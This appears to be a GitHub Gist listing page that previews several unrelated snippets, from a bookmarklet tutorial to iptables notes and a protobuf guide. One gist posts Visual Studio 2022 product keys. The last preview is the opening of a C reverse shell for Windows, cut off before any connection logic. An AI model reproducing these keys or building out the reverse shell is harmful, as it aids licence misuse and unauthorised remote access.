Skip to content

Instantly share code, notes, and snippets.

@caseywatts
caseywatts / bookmarkleting.md
Last active June 3, 2024 12:45
Making Bookmarklets

This is one chapter of my "Chrome Extension Workshops" tutorial, see the rest here: https://gist.github.com/caseywatts/8eec8ff974dee9f3b247

Unrelated update: my book is out! Debugging Your Brain is an applied psychology / self-help book

Making Bookmarklets

I'm feeling very clever. I've got this sweet line of javascript that replaces "cloud" with "butt". My mom would LOVE this, but she doesn't computer very well. I'm afraid to show her the Developer Console and have her type/paste this in. But she IS pretty good at bookmarks, she knows just how to click those!

A bookmark normally takes you to a new web page. A bookmarklet is a bookmark that runs javascript on the current page instead of taking you to a new page. To declare that it is a bookmarklet, the "location" it points to starts with javascript:.

@aaron-613
aaron-613 / sdkperf-cheat-sheet.txt
Last active June 3, 2024 12:44
A selection of useful SdkPerf switches; presented live during Solace Office Hours
(partial) SdkPerf Commands List
===============================
Help!
-h
Help More!!
-hm
Help w/Examples!
@pablotolentino
pablotolentino / Visual Studio 2022 Product Key
Created November 20, 2021 20:41
Visual Studio 2022 Enterprise Product key
Visual Studio 2022
Enterprise :
VHF9H-NXBBB-638P6-6JHCY-88JWH
Professional:
TD244-P4NB7-YQ6XK-Y8MMM-YWV2J
# Unix (Terminal)
open -a "Google Chrome" --args --disable-gpu-vsync --disable-frame-rate-limit
# Windows (Command prompt)
start chrome --args --disable-gpu-vsync --disable-frame-rate-limit
@HeySora
HeySora / SSDT-WWAN.dsl
Last active June 3, 2024 12:38
WWAN SSDT for ThinkPad T490s (Fibocom L850-GL)
// This SSDT is essentially sending "CAP_EXP+10.w=0052" as well as a RST() call
// in order to switch the Fibocom WWAN card to USB mode.
// This is fully working on my ThinkPad T490s (20NX*), but I cannot guarantee
// that this code will work for you as well. Read below for instructions for other brands.
// There might be issues when going out of sleep mode? I vaguely recall
// having rare issues in these cases. Going in sleep mode and going out fixed it.
// There are probably better ways to do something like this...
@oneryalcin
oneryalcin / sse_fast_api.py
Last active June 3, 2024 12:34
Server Side Events (SSE) with FastAPi and (partially) Langchain
# I couldn't get return generators from chains so I had to do a bit of low level SSE, Hope this is useful
# Probably you'll use another Vector Store instead of OpenSearch, but if you want to mimic what I did here,
# please use the fork of `OpenSearchVectorSearch` in https://github.com/oneryalcin/langchain
import json
import os
import logging
from typing import List, Generator
@nerdalert
nerdalert / Netfilter-IPTables-Diagrams.md
Last active June 3, 2024 12:33
Linux NetFilter, IP Tables and Conntrack Diagrams

Linux NetFilter, IP Tables and Conntrack Diagrams

IPTABLES TABLES and CHAINS

IPTables has the following 4 built-in tables.

1) Filter Table

Filter is default table for iptables. So, if you don’t define you own table, you’ll be using filter table. Iptables’s filter table has the following built-in chains.

@MattApril
MattApril / ConsoleSchedulingTest.php
Last active June 3, 2024 12:30
A simple way of testing that your Lumen commands are scheduled exactly when and how you expect. This approach does not trigger commands to actually execute, which is what a lot of other suggestions do.
<?php
use App\Console\Kernel;
use Carbon\Carbon;
use Illuminate\Console\Scheduling\Event;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Support\Collection;
class ConsoleSchedulingTest extends TestCase
{
@shankarshastri
shankarshastri / LearnXInYMinProtocolBuffer.proto
Last active June 3, 2024 12:29
Self-Explanatory Protocol Buffer Lang Guide (CheatSheet)
/*
* Self-Explanatory Protocol Buffer Lang Guide
*/
/*
* Why Protocol Buffers?
* Protocol buffers are Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data – think XML, but smaller, faster, and simpler.
* You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams and using a variety of languages.
* Protocol Buffers are Schema Of Messages. They are language agnostic.
@loneicewolf
loneicewolf / compact_windows_reverse_shell.c
Last active June 3, 2024 12:24
A compact windows reverse shell written in the C Programming Language.
/*
* code inspired and modified from defcon25,MSDocs,StackOverflow
* i686-w64-mingw32-gcc -o win_rsh win_rsh.c -lws2_32
*/
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char *argv[]){
WSADATA wsaData;